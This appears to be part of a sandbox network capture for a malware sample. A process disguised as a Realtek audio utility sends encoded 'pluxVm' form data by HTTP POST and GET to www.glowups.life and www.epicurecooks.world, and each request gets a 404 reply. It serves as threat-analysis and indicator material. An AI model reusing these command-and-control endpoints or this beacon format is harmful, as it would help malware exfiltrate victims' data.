Dec 3, 2024 14:52:12.453989029 CET	680	OUT	POST /dheh/ HTTP/1.1 Host: www.glowups.life Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.glowups.life Referer: http://www.glowups.life/dheh/ Content-Length: 203 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 33 4c 30 73 44 36 68 2b 32 56 6b 69 4f 62 37 50 58 75 79 43 4e 64 4e 4d 55 41 79 36 48 6a 32 44 68 66 4b 6a 30 44 59 6f 66 74 38 74 59 72 48 46 75 4a 75 31 39 6d 65 66 4b 68 4f 56 70 4b 67 5a 6e 58 67 62 5a 46 69 76 48 32 38 76 34 65 76 64 74 30 65 79 54 56 7a 62 41 74 73 75 56 69 57 56 76 4e 63 64 71 73 42 68 4d 65 6e 72 38 2f 66 6f 4d 76 72 65 4e 43 78 66 6b 6a 52 64 33 76 4a 4e 6b 58 6a 73 47 63 63 49 51 7a 64 4f 5a 37 69 55 34 67 45 2b 57 69 6a 68 70 4c 54 37 6c 71 4c 56 68 43 59 64 78 35 46 78 4c 32 55 44 65 46 4c 79 63 2f 36 51 66 47 65 48 59 6b 4e 79 36 72 67 41 4d 67 3d 3d Data Ascii: pluxVm=3L0sD6h+2VkiOb7PXuyCNdNMUAy6Hj2DhfKj0DYoft8tYrHFuJu19mefKhOVpKgZnXgbZFivH28v4evdt0eyTVzbAtsuViWVvNcdqsBhMenr8/foMvreNCxfkjRd3vJNkXjsGccIQzdOZ7iU4gE+WijhpLT7lqLVhCYdx5FxL2UDeFLyc/6QfGeHYkNy6rgAMg==
Dec 3, 2024 14:52:12.631900072 CET	533	IN	HTTP/1.1 404 Not Found Date: Tue, 03 Dec 2024 13:52:12 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.11.20	49769	209.74.79.42	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:52:15.144032955 CET	700	OUT	POST /dheh/ HTTP/1.1 Host: www.glowups.life Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.glowups.life Referer: http://www.glowups.life/dheh/ Content-Length: 223 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 33 4c 30 73 44 36 68 2b 32 56 6b 69 50 2f 48 50 45 39 71 43 47 64 4e 50 62 67 79 36 49 44 32 48 68 66 47 6a 30 43 73 34 66 66 6f 74 62 50 44 46 76 49 75 31 2b 6d 65 66 42 42 4f 71 6a 71 67 43 6e 57 64 75 5a 46 75 76 48 32 34 76 34 66 2f 64 75 44 79 31 53 46 7a 64 5a 64 73 73 62 43 57 56 76 4e 63 64 71 73 56 4c 4d 65 2f 72 38 50 76 6f 4f 4b 66 5a 52 53 78 63 31 6a 52 64 6d 2f 49 6c 6b 58 69 35 47 5a 45 79 51 78 56 4f 5a 2b 65 55 34 78 45 39 59 69 6a 6e 74 4c 53 4e 71 5a 69 46 73 53 73 56 33 4b 78 32 43 6b 41 38 66 54 47 6f 42 4e 4f 30 63 56 43 31 63 55 30 61 34 70 68 62 52 6e 57 57 71 42 37 65 44 6e 6f 31 50 4d 59 4b 30 69 31 6d 78 45 38 3d Data Ascii: pluxVm=3L0sD6h+2VkiP/HPE9qCGdNPbgy6ID2HhfGj0Cs4ffotbPDFvIu1+mefBBOqjqgCnWduZFuvH24v4f/duDy1SFzdZdssbCWVvNcdqsVLMe/r8PvoOKfZRSxc1jRdm/IlkXi5GZEyQxVOZ+eU4xE9YijntLSNqZiFsSsV3Kx2CkA8fTGoBNO0cVC1cU0a4phbRnWWqB7eDno1PMYK0i1mxE8=
Dec 3, 2024 14:52:15.316479921 CET	533	IN	HTTP/1.1 404 Not Found Date: Tue, 03 Dec 2024 13:52:15 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.11.20	49770	209.74.79.42	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:52:17.846971035 CET	6445	OUT	POST /dheh/ HTTP/1.1 Host: www.glowups.life Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.glowups.life Referer: http://www.glowups.life/dheh/ Content-Length: 7371 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 33 4c 30 73 44 36 68 2b 32 56 6b 69 50 2f 48 50 45 39 71 43 47 64 4e 50 62 67 79 36 49 44 32 48 68 66 47 6a 30 43 73 34 66 65 51 74 59 38 62 46 75 76 53 31 78 47 65 66 49 68 4f 72 6a 71 68 51 6e 57 46 31 5a 46 53 2f 48 31 51 76 35 2f 6a 64 76 79 79 31 62 46 7a 64 52 39 73 74 56 69 58 64 76 4a 41 42 71 73 46 4c 4d 65 2f 72 38 4d 33 6f 59 50 72 5a 43 69 78 66 6b 6a 52 52 33 76 49 65 6b 54 47 70 47 5a 49 69 52 42 31 4f 41 66 75 55 30 6e 34 39 51 69 6a 6c 71 4c 53 46 71 5a 2f 66 73 57 30 76 33 4c 56 63 43 6e 51 38 64 6b 57 77 46 4f 65 53 50 47 57 2f 63 6e 49 54 33 71 4a 2b 52 48 32 78 75 54 7a 74 4d 44 67 52 4d 2b 55 33 7a 48 5a 79 69 6b 4c 45 52 79 56 43 64 37 73 38 66 50 68 64 72 45 70 5a 61 4a 7a 72 2f 46 4d 57 7a 71 59 7a 35 58 45 69 6f 55 34 61 45 58 4b 77 2b 46 6c 58 4f 7a 63 39 44 46 6a 76 70 45 6d 57 6c 6d 58 47 6d 49 78 36 67 79 59 5a 56 53 31 49 77 67 43 53 79 6d 58 52 6c 56 35 44 36 51 4b 31 75 4b 79 57 51 74 35 6f 32 50 46 35 34 38 63 59 32 4e 32 74 75 6c 44 34 33 57 6b [TRUNCATED] Data Ascii: pluxVm=3L0sD6h+2VkiP/HPE9qCGdNPbgy6ID2HhfGj0Cs4feQtY8bFuvS1xGefIhOrjqhQnWF1ZFS/H1Qv5/jdvyy1bFzdR9stViXdvJABqsFLMe/r8M3oYPrZCixfkjRR3vIekTGpGZIiRB1OAfuU0n49QijlqLSFqZ/fsW0v3LVcCnQ8dkWwFOeSPGW/cnIT3qJ+RH2xuTztMDgRM+U3zHZyikLERyVCd7s8fPhdrEpZaJzr/FMWzqYz5XEioU4aEXKw+FlXOzc9DFjvpEmWlmXGmIx6gyYZVS1IwgCSymXRlV5D6QK1uKyWQt5o2PF548cY2N2tulD43Wk7WbvDlu4s76H9DPbsS6aM9Kd8/E3bMDenk+G5RLfadcgUyVh1Gr+FnAvvfC0VYWm5QoePCRWt5T7fw+GXQU4l+SX9Fr0TvBmk0dBpS6TGkdSfT5HLOFpT1sDMj/kc6qpL69Wwp/yu7GnieYUk4Z+O9bSlVcaOByrZDH2JUBh6JaBb31y2G+d7nz1zdC4AiHzmlpBSk9E4CXupdHN25DA45w22S/KmqSxtEHzQxKJ5T3j3jnW0rrrfWrm0LaHSPXz2j38qVHiyI8IDPI/7EJruirK7nM7kHlV/6kdXIMuUbVeDlMr5eRci5fZc60Qa+lNZjn6lTnHCYu0nxDqie3EF977hd/P/LzcHEFa9rPw6kn7ehjxJct/nNSJyBR9HAYbNFSP7rxsvX4p7vcHCGGQi2hDaTYnOnJpgzJrd1VOzOSiVqC6W7lNqS9n83woOSuu1MVD+28CalthIBpxyG5zFz7RNu7Wxdu54TIS3Repc0UjWJCENUd/IaY3z7iAcZeDzpZXL9jaUMCM/g6CZOCVVa8t1piI76dCf3iRazyrebJzcRVtwTB1gD0VFCcWvGuObJmmuVg26NePnE82Mz/MulWww/S5JTRgxT50D27uy3RQmAwNxYGkg+aGQKPlKHIRJuzq8s8JhtIlb2ZKeL3jq90Ahz5aXruhHQ [TRUNCATED]
Dec 3, 2024 14:52:17.847080946 CET	1404	OUT	Data Raw: 42 39 53 77 72 49 62 6d 2b 4a 58 52 57 53 63 36 50 52 6f 59 78 65 59 70 38 41 65 56 6b 51 51 31 6b 4d 46 55 75 65 66 39 74 6b 39 39 6b 78 48 50 6e 4b 78 75 68 49 44 5a 4d 63 6f 71 33 64 65 37 41 57 69 6e 54 79 46 45 61 50 54 4d 43 74 4a 31 39 79 Data Ascii: B9SwrIbm+JXRWSc6PRoYxeYp8AeVkQQ1kMFUuef9tk99kxHPnKxuhIDZMcoq3de7AWinTyFEaPTMCtJ19yi35Qkk+5jJUOlu4mJAKVzKJ3Ds7MNJ5T0KMMekW9rBSHDzaM39jt3MWghk769Z5xJVA3y0GoZskHi9jQpVdggPGOi0QtCXmMP+NCRrrDn9o9x6LqdTANWTtVe1vYxr9j1M/Du0fDAzOdY0yaSwPnBLI+mtdhukOCP
Dec 3, 2024 14:52:18.035595894 CET	533	IN	HTTP/1.1 404 Not Found Date: Tue, 03 Dec 2024 13:52:17 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.11.20	49771	209.74.79.42	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:52:20.550163984 CET	419	OUT	GET /dheh/?pluxVm=6JcMAOZ0kkEuPLPobYSFFslgEkquVWiK5Nqk+SkmZf4Wc9f19ayTyDiVFSf9h78jkWY5XnirO34u2f/fghaoX1igb+ZsamnQxKAe0eVMQ+zxkvaWI9vtOSA=&Z1EO=OvfHeluUy HTTP/1.1 Host: www.glowups.life Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
Dec 3, 2024 14:52:20.724860907 CET	548	IN	HTTP/1.1 404 Not Found Date: Tue, 03 Dec 2024 13:52:20 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.11.20	49772	208.91.197.27	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:52:26.119172096 CET	698	OUT	POST /mdkc/ HTTP/1.1 Host: www.epicurecooks.world Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.epicurecooks.world Referer: http://www.epicurecooks.world/mdkc/ Content-Length: 203 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 2f 55 2b 6e 59 55 61 33 67 61 43 75 50 34 33 33 35 35 42 55 72 6b 66 4d 42 56 2b 69 4c 37 55 33 54 4e 69 4e 56 6b 66 67 57 5a 75 4a 70 39 72 44 5a 4f 35 4b 41 61 6d 76 77 69 36 59 71 52 4c 38 41 6a 6d 71 39 54 30 37 4f 34 46 4e 6e 73 38 69 2b 46 31 66 36 59 69 42 4a 44 56 49 56 55 44 44 35 52 67 35 73 4e 58 37 5a 54 4a 70 78 39 63 50 51 2b 73 55 49 66 65 64 33 53 52 53 2b 30 77 59 41 4a 46 6e 69 7a 66 79 6b 4f 7a 56 57 7a 30 52 6b 76 31 59 6b 65 47 71 68 79 37 46 70 76 30 57 5a 37 56 33 70 7a 46 68 32 67 73 39 38 39 46 30 63 37 55 58 45 74 7a 73 53 2f 77 4c 2b 64 32 36 43 51 3d 3d Data Ascii: pluxVm=/U+nYUa3gaCuP43355BUrkfMBV+iL7U3TNiNVkfgWZuJp9rDZO5KAamvwi6YqRL8Ajmq9T07O4FNns8i+F1f6YiBJDVIVUDD5Rg5sNX7ZTJpx9cPQ+sUIfed3SRS+0wYAJFnizfykOzVWz0Rkv1YkeGqhy7Fpv0WZ7V3pzFh2gs989F0c7UXEtzsS/wL+d26CQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.11.20	49773	208.91.197.27	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:52:28.782742023 CET	718	OUT	POST /mdkc/ HTTP/1.1 Host: www.epicurecooks.world Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.epicurecooks.world Referer: http://www.epicurecooks.world/mdkc/ Content-Length: 223 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 2f 55 2b 6e 59 55 61 33 67 61 43 75 4f 5a 48 33 37 59 42 55 6a 6b 66 50 4e 31 2b 69 5a 37 55 7a 54 4e 6d 4e 56 6c 72 77 57 76 2b 4a 70 5a 76 44 61 4c 5a 4b 42 61 6d 76 6f 79 36 64 75 52 4b 52 41 6a 71 69 39 53 49 37 4f 34 52 4e 6e 75 55 69 69 6d 64 63 37 49 69 48 42 6a 56 4b 49 45 44 44 35 52 67 35 73 4e 44 43 5a 58 64 70 78 73 73 50 43 76 73 4c 46 2f 65 63 32 53 52 53 36 30 77 55 41 4a 46 52 69 33 65 56 6b 4e 4c 56 57 78 73 52 6e 36 5a 62 71 65 47 73 76 53 36 32 35 2b 52 7a 56 4f 4a 44 6f 68 68 4d 77 54 6b 47 35 72 49 75 42 4a 67 7a 48 2b 76 65 57 50 4a 6a 38 66 33 68 66 65 4d 39 36 46 39 6d 6d 49 2b 71 61 56 55 55 2f 34 75 6a 45 6d 63 3d Data Ascii: pluxVm=/U+nYUa3gaCuOZH37YBUjkfPN1+iZ7UzTNmNVlrwWv+JpZvDaLZKBamvoy6duRKRAjqi9SI7O4RNnuUiimdc7IiHBjVKIEDD5Rg5sNDCZXdpxssPCvsLF/ec2SRS60wUAJFRi3eVkNLVWxsRn6ZbqeGsvS625+RzVOJDohhMwTkG5rIuBJgzH+veWPJj8f3hfeM96F9mmI+qaVUU/4ujEmc=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.11.20	49774	208.91.197.27	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:52:31.454380035 CET	2440	OUT	POST /mdkc/ HTTP/1.1 Host: www.epicurecooks.world Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.epicurecooks.world Referer: http://www.epicurecooks.world/mdkc/ Content-Length: 7371 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 2f 55 2b 6e 59 55 61 33 67 61 43 75 4f 5a 48 33 37 59 42 55 6a 6b 66 50 4e 31 2b 69 5a 37 55 7a 54 4e 6d 4e 56 6c 72 77 57 76 32 4a 75 71 6e 44 61 71 5a 4b 43 61 6d 76 68 53 36 63 75 52 4c 54 41 67 61 6d 39 53 45 72 4f 37 70 4e 6f 74 73 69 79 54 68 63 77 49 69 48 4e 44 56 48 56 55 43 5a 35 52 77 39 73 4e 54 43 5a 58 64 70 78 76 30 50 53 4f 73 4c 44 2f 65 64 33 53 52 65 2b 30 78 42 41 4e 52 42 69 33 4b 76 6c 38 72 56 58 52 38 52 72 73 4e 62 69 65 47 75 6f 53 36 75 35 2b 74 67 56 50 68 6c 6f 67 6c 6d 77 51 55 47 34 74 31 6e 51 4e 73 51 64 49 58 65 57 63 46 61 36 76 2f 6d 59 4d 78 46 71 6c 45 4c 69 34 33 35 46 58 55 30 37 4b 36 72 66 47 37 6f 54 37 78 47 51 55 47 49 76 71 78 4e 4c 46 76 4f 43 4f 37 6b 53 32 63 6e 75 4f 4a 66 4e 58 72 6a 75 47 74 43 77 30 6c 43 6a 47 72 4f 7a 6c 4a 2f 42 72 47 48 6e 4a 6c 53 32 31 66 44 44 33 35 45 74 37 62 41 6e 71 35 69 69 57 54 49 71 4f 36 61 49 78 42 52 39 50 6f 62 6f 6c 32 34 59 68 2f 63 68 65 2f 71 36 35 57 63 62 4d 74 56 68 75 4c 44 38 62 58 [TRUNCATED] Data Ascii: pluxVm=/U+nYUa3gaCuOZH37YBUjkfPN1+iZ7UzTNmNVlrwWv2JuqnDaqZKCamvhS6cuRLTAgam9SErO7pNotsiyThcwIiHNDVHVUCZ5Rw9sNTCZXdpxv0PSOsLD/ed3SRe+0xBANRBi3Kvl8rVXR8RrsNbieGuoS6u5+tgVPhloglmwQUG4t1nQNsQdIXeWcFa6v/mYMxFqlELi435FXU07K6rfG7oT7xGQUGIvqxNLFvOCO7kS2cnuOJfNXrjuGtCw0lCjGrOzlJ/BrGHnJlS21fDD35Et7bAnq5iiWTIqO6aIxBR9Pobol24Yh/che/q65WcbMtVhuLD8bXg25KQJXxtnPUNf8pbp5CfqkGMV19Wx2DhbafigfPi8AtD+llVsEDAazN8lFXxaU0P8MQ/fOXIYZ1Y9KFdvl2B4csLuBdNXnVUajmDPXg7w52QwYGDtciwCqeBOiG3cUya1ebEqKTnAnR8H7rUMfFTf010AuovWMipkb+KcxnsIshj5V1a1auMoG7Awx7Sdo7a2mV36l2H89SKsh/M7hvVHwug3JUYXDiSBote3m5WElRHJM/gUUPNevWD7jd6PpzqGKSeQwFZBbCK1PvJkpOijXAaAYmQVkTRKVuyPmtOqP1c/r86cFaoMIzPSQNlY52hN2R9UF746ow/9cGHB7gszD7RVlAV9xsUtQrERKOIotMvQAHeYmsp6qLK83bCXnwgJQbpHbehpaGhZ7l04/QQsegaX/1+aDIexqdQ6ZKCWxpgTuC1iEaWXAjQxNbQsIrlj6OFYewCJ8Jf/nzRzmetg/JohXeZ5fh31DrbW0mH+GPhyCwifrETZQv6Ab8Y7PIidOfAmBeM40ulJ8NggIGf9q/B9ubK5j4H+PWtkCwtWBH2/jpBROyC3xgCNBvhjVPFLHkpsIHyyymJIoMR4B9C2JBc0uzHYCz37IZXdg0e60CG6fZuMBKGm/6wYDLLLrcIOG36c2B13oCeT6Y/uvzgsjjbOP+WVji0r [TRUNCATED]
Dec 3, 2024 14:52:31.454447985 CET	2440	OUT	Data Raw: 31 62 6b 74 33 69 78 6d 48 4b 71 56 31 64 4f 39 79 67 30 30 52 50 55 58 48 5a 57 77 41 77 46 67 2f 65 64 33 37 31 66 6b 6d 37 71 30 49 47 39 31 31 53 39 63 5a 58 36 72 54 4b 4b 32 5a 62 51 73 78 58 50 33 62 37 61 36 77 6b 34 6b 5a 45 2f 78 6d 67 Data Ascii: 1bkt3ixmHKqV1dO9yg00RPUXHZWwAwFg/ed371fkm7q0IG911S9cZX6rTKK2ZbQsxXP3b7a6wk4kZE/xmgXxYGLj6vYTo0KLDk/nWWWak5UnMEjzStjeLJfxODAKWVQgtsATeT9Bcdr+ezrDLEPmY/VP1zPqBBqElEZZxOknlLQR/qR8P+5XvHphG+c6S8Eseeg2JIyiKOOYv54xKlHe0/m+03moEcETbRWuIp2jZHle7VDTV38
Dec 3, 2024 14:52:31.454464912 CET	2987	OUT	Data Raw: 37 55 68 78 30 6a 52 55 55 52 35 6d 4a 67 47 6c 50 46 50 57 78 68 33 75 71 53 4f 42 4a 77 70 59 78 38 59 44 48 39 35 36 4c 43 37 30 67 38 4c 55 4d 4e 62 57 50 4c 32 65 64 45 59 48 32 4c 50 49 67 6d 41 77 79 77 57 6e 53 30 65 4f 51 61 41 58 4e 67 Data Ascii: 7Uhx0jRUUR5mJgGlPFPWxh3uqSOBJwpYx8YDH956LC70g8LUMNbWPL2edEYH2LPIgmAwywWnS0eOQaAXNgttZuaCARiTZuPv60HoZEs2fLYsCPexvd+wBi28h93Ex3Mya10ybp2AA0garhVMRnH/VNLENnFGCxrXTNFkzbmZk1ur4gbP6t11CMNUW7N3Q+B42szcRxqRlq/vzRaNvnmtMvHb4RGLZSp1fvlaM9TpUz/UZBybSg0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.11.20	49775	208.91.197.27	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
